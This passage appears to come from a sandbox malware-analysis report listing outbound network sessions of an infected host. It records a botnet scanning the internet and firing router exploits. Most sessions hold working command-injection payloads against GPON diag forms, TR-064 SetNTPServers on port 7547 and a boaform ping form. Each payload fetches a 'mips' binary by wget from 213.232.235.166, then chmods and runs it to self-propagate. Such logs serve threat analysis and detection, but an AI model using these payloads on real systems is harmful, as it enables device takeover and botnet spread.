6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 4b 33 78 33 4f 57 50 66 30 65 70 6c 6c 6b 38 6f 64 74 58 49 69 6f 64 55 70 45 43 35 53 43 39 55 76 44 72 72 42 39 57 70 68 44 67 2d 34 67 73 79 52 6a 67 4d 71 67 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: K3x3OWPf0epllk8odtXIiodUpEC5SC9UvDrrB9WphDg-4gsyRjgMqg==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
364	192.168.2.13	46628	79.47.127.86	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:43.911340952 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:44.239725113 CEST	292	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:52:44 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
365	192.168.2.13	36640	14.82.7.71	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:44.297044992 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
366	192.168.2.13	37604	174.87.177.239	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:44.397813082 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
367	192.168.2.13	55182	19.12.120.118	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:44.445417881 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:44.669611931 CEST	151	IN	HTTP/1.0 302 Moved Temporarily Location: https:///GponForm/diag_Form?images/ Server: BigIP Connection: Keep-Alive Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
368	192.168.2.13	46464	99.238.240.146	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:44.530045986 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
369	192.168.2.13	52694	99.236.113.223	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:44.543195009 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
370	192.168.2.13	37696	174.87.177.239	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:44.575406075 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
371	192.168.2.13	32848	119.180.29.35	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:44.619314909 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
372	192.168.2.13	42804	37.16.13.15	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:44.686374903 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
373	192.168.2.13	41332	71.218.231.169	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:44.720930099 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:45.728473902 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:45.918541908 CEST	113	IN	HTTP/1.1 400 Bad Request Date: Mon 15 Apr 2024 06:52:45 UTC Server: lighttpd Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
374	192.168.2.13	56220	47.189.46.200	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:44.732336044 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
375	192.168.2.13	46484	99.238.240.146	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:44.768546104 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
376	192.168.2.13	52718	99.236.113.223	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:44.768590927 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
377	192.168.2.13	42822	37.16.13.15	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:44.838895082 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
378	192.168.2.13	55888	201.210.111.76	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:44.849400043 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:45.124484062 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
379	192.168.2.13	56238	47.189.46.200	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:44.931992054 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
380	192.168.2.13	54546	14.78.64.65	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:44.975218058 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
381	192.168.2.13	49872	177.62.41.219	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:45.015477896 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:45.353914976 CEST	240	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 WWW-Authenticate: Digest realm="IgdAuthentication", domain="/", nonce="NDJiMzFjYmU6YTE2NzliOWE6NjkwMDI0ODE=", qop="auth", algorithm=MD5, opaque="5ccc09c403ebaf9f0171e9517f40e41"

Session ID	Source IP	Source Port	Destination IP	Destination Port
382	192.168.2.13	38734	187.32.29.9	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:45.035619020 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:45.385502100 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
383	192.168.2.13	55902	201.210.111.76	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:45.127515078 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:45.406461000 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
384	192.168.2.13	54562	14.78.64.65	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:45.266412973 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
385	192.168.2.13	49888	177.62.41.219	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:45.346085072 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:46.364330053 CEST	240	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 WWW-Authenticate: Digest realm="IgdAuthentication", domain="/", nonce="NGJmYTkzZjA6NDk5OGEwOGM6NThmMTAyOWM=", qop="auth", algorithm=MD5, opaque="5ccc09c403ebaf9f0171e9517f40e41"

Session ID	Source IP	Source Port	Destination IP	Destination Port
386	192.168.2.13	38750	187.32.29.9	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:45.385133028 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:45.735726118 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
